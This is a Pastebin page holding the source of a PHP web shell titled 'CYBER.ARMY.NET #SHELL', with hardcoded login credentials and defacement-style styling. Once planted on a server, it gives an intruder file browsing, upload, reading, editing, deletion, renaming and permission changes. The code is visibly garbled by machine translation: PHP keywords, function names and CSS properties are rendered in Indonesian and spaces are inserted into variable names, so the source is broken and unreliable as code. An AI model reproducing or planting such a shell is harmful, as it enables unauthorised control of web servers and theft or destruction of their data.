Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <? php
- // --- muncul
- $ user = "MR";
- $ pass = "CAN";
- if (($ _SERVER ["PHP_AUTH_USER"]! = $ user) || (($ _SERVER ["PHP_AUTH_PW"])! = $ pass))
- {
- header ("Otentikasi WWW: Realm dasar = \" dvildance ada di sini \ "");
- header ("HTTP / 1.0 401 Tidak Sah");
- keluar();
- }
- // --- php shell
- set_time_limit (0);
- error_reporting (0);
- if (get_magic_quotes_gpc ()) {
- foreach ($ _ POST sebagai $ key => $ value) {
- $ _POST [$ key] = stripslashes ($ value);
- }
- }
- echo '<! DOCTYPE HTML>
- <HTML>
- <HEAD>
- <link rel = "ICORT SHORTCUT" href = "https://www.upload.ee/image/9136286/1539939372537.png">
- <DIV align = center> <IMG src = "https://www.upload.ee/image/9136286/1539939372537.png" width = 350 height = 300> <br>
- <center> <font color = "white" face = "Papyrus"> MR.UNKNOWN <br> CAN </font> </footer> </tr> </table>
- </style>
- <tautan href = "https://fonts.googleapis.com/css?family=Walter+Turncoat" rel = "stylesheet">
- <title> CYBER.ARMY.NET #SHELL </title>
- <style>
- tubuh {
- background-image: url ("https://data.whicdn.com/images/310610383/original.gif");
- background-repeat: no-repeat;
- ukuran latar belakang: 100% 120%;
- font-family: Papyrus, kursif;
- warna latar: # 000000;
- text-shadow: 0px 0px 1px #ffffff;
- }
- #content tr: hover {
- warna latar: # ff0000;
- text-shadow: 0px 0px 10px ## ffffff;
- }
- #content .first {
- warna latar: # 000000;
- }
- #content .first: hover {
- warna latar: # ff0000;
- text-shadow: 0px 0px 1px #ffffff;
- }
- meja{
- perbatasan: 1px #ffffff putus-putus;
- }
- H1 {
- font-family: "Papyrus", kursif;
- }
- Sebuah{
- warna: #ffffff;
- teks-dekorasi: tidak ada;
- }
- a: hover {
- warna putih;
- text-shadow: 0px 0px 10px #ffffff;
- }
- masukan, pilih, textarea {
- perbatasan: 1px #ffffff solid;
- -moz-border-radius: 5px;
- -webkit-border-radius: 5px;
- batas-radius: 5px;
- }
- </style>
- </HEAD>
- <BODY>
- <table width = "700" border = "0" cellpadding = "3" cellspacing = "1" align = "center">
- <tr> <td> file >> ';
- if (isset ($ _ GET ['path'])) {
- $ path = $ _GET ['path'];
- }lain{
- $ path = getcwd ();
- }
- $ path = str_replace ('\\', '/', $ path);
- $ paths = meledak ('/', $ path);
- foreach ($ path sebagai $ id => $ pat) {
- if ($ pat == '' && $ id == 0) {
- $ a = true;
- echo '<a href="?path=/"> / </a>';
- terus;
- }
- jika ($ pat == '') melanjutkan;
- gema '<a href = "? path =';
- untuk ($ i = 0; $ i <= $ id; $ i ++) {
- gema "$ paths [$ i]";
- if ($ i! = $ id) echo "/";
- }
- echo '">'. $ pat. '</a> /';
- }
- echo '</td> </tr> <tr> <td>';
- if (isset ($ _ FILES ['file'])) {
- if (salin ($ _ FILES ['file'] ['tmp_name'], $ path. '/'. $ _ FILES ['file'] ['name'])) {
- echo '<font color = "# ffffff"> upload berhasil! </font> <br />';
- }lain{
- echo '<font color = "red"> unggahan gagal! </font> <br />';
- }
- }
- echo '<form enctype = "multipart / form-data" method = "POST">
- unggah <input type = "file" name = "file" />
- <input type = "submit" value = "Upload" />
- </form>
- </td> </tr> ';
- if (isset ($ _ GET ['filesrc'])) {
- echo "<tr> <td> file >>";
- echo $ _GET ['filesrc'];
- echo '</tr> </td> </table> <br />';
- echo ('<pre>' .htmlspecialchars (file_get_contents ($ _ DAPATKAN ['filerc'])). '</pre>');
- } elseif (isset ($ _ GET ['option']) && $ _POST ['opt']! = 'delete') {
- echo '</table> <br /> <center>'. $ _ POST ['path']. '<br /> <br />';
- if ($ _ POST ['opt'] == 'chmod') {
- if (isset ($ _ POST ['perm'])) {
- if (chmod ($ _ POST ['path'], $ _ POST ['perm'])) {
- gema '<font color = "white"> ubah izin berhasil! </font> <br />';
- }lain{
- gema '<font color = "red"> ubah izin gagal! </font> <br />';
- }
- }
- echo '<form method = "POST">
- Izin: <input name = "perm" type = "text" size = "4" value = "'. Substr (sprintf ('% o ', fileperms ($ _ POST [' path '])), -4).' "/>
- <input type = "hidden" name = "path" value = "'. $ _ POST [' path '].'">
- <input type = "hidden" name = "opt" value = "chmod">
- <input type = "submit" value = "Go" />
- </form> ';
- } elseif ($ _ POST ['opt'] == 'rename') {
- if (isset ($ _ POST ['newname'])) {
- if (rename ($ _ POST ['path'], $ path. '/'. $ _ POST ['newname']))) {
- echo '<font color = "white"> ubah nama berhasil! </font> <br />';
- }lain{
- echo '<font color = "red"> ganti nama gagal! </font> <br />';
- }
- $ _POST ['name'] = $ _POST ['newname'];
- }
- echo '<form method = "POST">
- Nama Baru: <input name = "newname" type = "text" size = "3" value = "'. $ _ POST [' name '].'" />
- <input type = "hidden" name = "path" value = "'. $ _ POST [' path '].'">
- <input type = "hidden" name = "opt" value = "rename">
- <input type = "submit" value = "Go" />
- </form> ';
- } elseif ($ _ POST ['opt'] == 'edit') {
- if (isset ($ _ POST ['src'])) {
- $ fp = fopen ($ _ POST ['path'], 'w');
- if (fwrite ($ fp, $ _ POST ['src'])) {
- gema '<font color = "white"> sunting berhasil! </font> <br />';
- }lain{
- echo '<font color = "red"> edit gagal bro </font> <br />';
- }
- fclose ($ fp);
- }
- echo '<form method = "POST">
- <textarea cols = 80 rows = 20 name = "src"> '. htmlspecialchars (file_get_contents ($ _ POST [' path ']))).' </textarea> <br />
- <input type = "hidden" name = "path" value = "'. $ _ POST [' path '].'">
- <input type = "hidden" name = "opt" value = "edit">
- <input type = "submit" value = "Go" />
- </form> ';
- }
- gema '</center>';
- }lain{
- echo '</table> <br /> <center>';
- if (isset ($ _ GET ['option']) && $ _POST ['opt'] == 'delete') {
- if ($ _ POST ['type'] == 'dir') {
- if (rmdir ($ _ POST ['path']))) {
- echo '<font color = "white"> delete berhasil! </font> <br />';
- }lain{
- echo '<font color = "red"> delete gagal! </font> <br />';
- }
- } elseif ($ _ POST ['type'] == 'file') {
- if (batalkan tautan ($ _ POST ['path'])) {
- echo '<font color = "white"> hapus file berhasil !. </font> <br />';
- }lain{
- echo '<font color = "red"> hapus file gagal! </font> <br />';
- }
- }
- }
- gema '</center>';
- $ scandir = scandir ($ path);
- echo '<div id = "content"> <table width = "700" border = "0" cellpadding = "3" cellspacing = "1" align = "center">
- <tr class = "first">
- <td><center>Name</center> </td>
- <td><center>Size</center> </td>
- <td><center>Permissions</center> </td>
- <td><center>Options</center> </td>
- </tr> ';
- foreach ($ scandir as $ dir) {
- if (! is_dir ("$ path / $ dir") || $ dir == '.' || $ dir == '..') lanjutkan;
- gema "<tr>
- <td> <a href=\"?path=$path/$dir\"> $ dir </a> </td>
- <td><center>--</center> </td>
- <td> <center> ";
- if (is_writable ("$ path / $ dir")) echo '<font color = "white">';
- elseif (! is_readable ("$ path / $ dir")) echo '<font color = "red">';
- perm echo ("$ path / $ dir");
- if (is_writable ("$ path / $ dir") ||! is_readable ("$ path / $ dir")) echo '</font>
- gema "</center> </td>
- <td> <center> <form method = \ "POST \" action = \ "? option & path = $ path \">
- <select name = \ "opt \">
- <option value = \ "\"> </option>
- <option value = \ "delete \"> Hapus </option>
- <option value = \ "chmod \"> Chmod </option>
- <option value = \ "rename \"> Ubah nama </option>
- </select>
- <input type = \ "hidden \" name = \ "type \" value = \ "dir \">
- <input type = \ "hidden \" name = \ "name \" value = \ "$ dir \">
- <input type = \ "hidden \" name = \ "path \" value = \ "$ path / $ dir \">
- <tipe input = \ "kirim \" nilai = \ "> \" />
- </form></center> </td>
- </tr> ";
- }
- echo '<tr class = "first"> <td> </td> <td> </td> <td> </td> <td> </td> </tr>';
- foreach ($ scandir sebagai $ file) {
- if (! is_file ("$ path / $ file")) melanjutkan;
- $ size = filesize ("$ path / $ file") / 1024;
- $ size = round ($ size, 3);
- if ($ size> = 1024) {
- $ size = round ($ size / 1024,2). ' MB ';
- }lain{
- $ size = $ size. ' KB ';
- }
- gema "<tr>
- <td> <a href=\"?filesrc=$path/$file&path=$path\"> $ file </a> </td>
- <td><center>".$size."</center> </td>
- <td> <center> ";
- if (is_writable ("$ path / $ file")) echo '<font color = "white">';
- elseif (! is_readable ("$ path / $ file")) echo '<font color = "red">';
- perm echo ("$ path / $ file");
- if (is_writable ("$ path / $ file") ||! is_readable ("$ path / $ file")) echo '</font>';
- gema "</center> </td>
- <td> <center> <form method = \ "POST \" action = \ "? option & path = $ path \">
- <select name = \ "opt \">
- <option value = \ "Action \"> Action </option>
- <option value = \ "delete \"> Hapus </option>
- <option value = \ "chmod \"> Chmod </option>
- <option value = \ "rename \"> Ubah nama </option>
- <option value = \ "edit \"> Edit </option>
- </select>
- <input type = \ "hidden \" name = \ "type \" value = \ "file \">
- <input type = \ "hidden \" name = \ "name \" value = \ "$ file \">
- <input type = \ "hidden \" name = \ "path \" value = \ "$ path / $ file \">
- <tipe input = \ "kirim \" nilai = \ "> \" />
- </form></center> </td>
- </tr> ";
- }
- gema '</table>
- </div> ';
- }
- gaung
- </BODY>
- </HTML> ';
- fungsi perms ($ file) {
- $ perms = fileperms ($ file);
- if (($ perms & 0xC000) == 0xC000) {
- // Stopkontak
- $ info = 's';
- } elseif (($ perms & 0xA000) == 0xA000) {
- // Tautan Simbolik
- $ info = 'l';
- } elseif (($ perms & 0x8000) == 0x8000) {
- // Reguler
- $ info = '-';
- } elseif (($ perms & 0x6000) == 0x6000) {
- // Blok spesial
- $ info = 'b';
- } elseif (($ perms & 0x4000) == 0x4000) {
- // Direktori
- $ info = 'd';
- } elseif (($ perms & 0x2000) == 0x2000) {
- // Karakter spesial
- $ info = 'c';
- } elseif (($ perms & 0x1000) == 0x1000) {
- // Pipa FIFO
- $ info = 'p';
- } lain {
- // Tidak dikenal
- $ info = 'u';
- }
- // Pemilik
- $ info. = (($ perms & 0x0100)? 'r': '-');
- $ info. = (($ perms & 0x0080)? 'w': '-');
- $ info. = (($ perms & 0x0040)?
- (($ perms & 0x0800)? 's': 'x'):
- (($ perms & 0x0800)? 'S': '-'));
- // Grup
- $ info. = (($ perms & 0x0020)? 'r': '-');
- $ info. = (($ perms & 0x0010)? 'w': '-');
- $ info. = (($ perms & 0x0008)?
- (($ perms & 0x0400)? 's': 'x'):
- (($ perms & 0x0400)? 'S': '-'));
- // Dunia
- $ info. = (($ perms & 0x0004)? 'r': '-');
- $ info. = (($ perms & 0x0002)? 'w': '-');
- $ info. = (($ perms & 0x0001)?
- (($ perms & 0x0200)? 't': 'x'):
- (($ perms & 0x0200)? 'T': '-'));
- mengembalikan $ info;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement